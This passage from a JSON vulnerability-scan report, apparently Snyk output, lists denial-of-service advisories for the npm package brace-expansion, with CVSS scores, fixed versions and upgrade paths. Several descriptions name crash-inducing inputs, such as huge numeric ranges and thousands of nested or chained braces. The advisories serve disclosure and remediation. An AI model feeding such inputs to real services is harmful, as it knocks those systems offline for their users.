"maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": 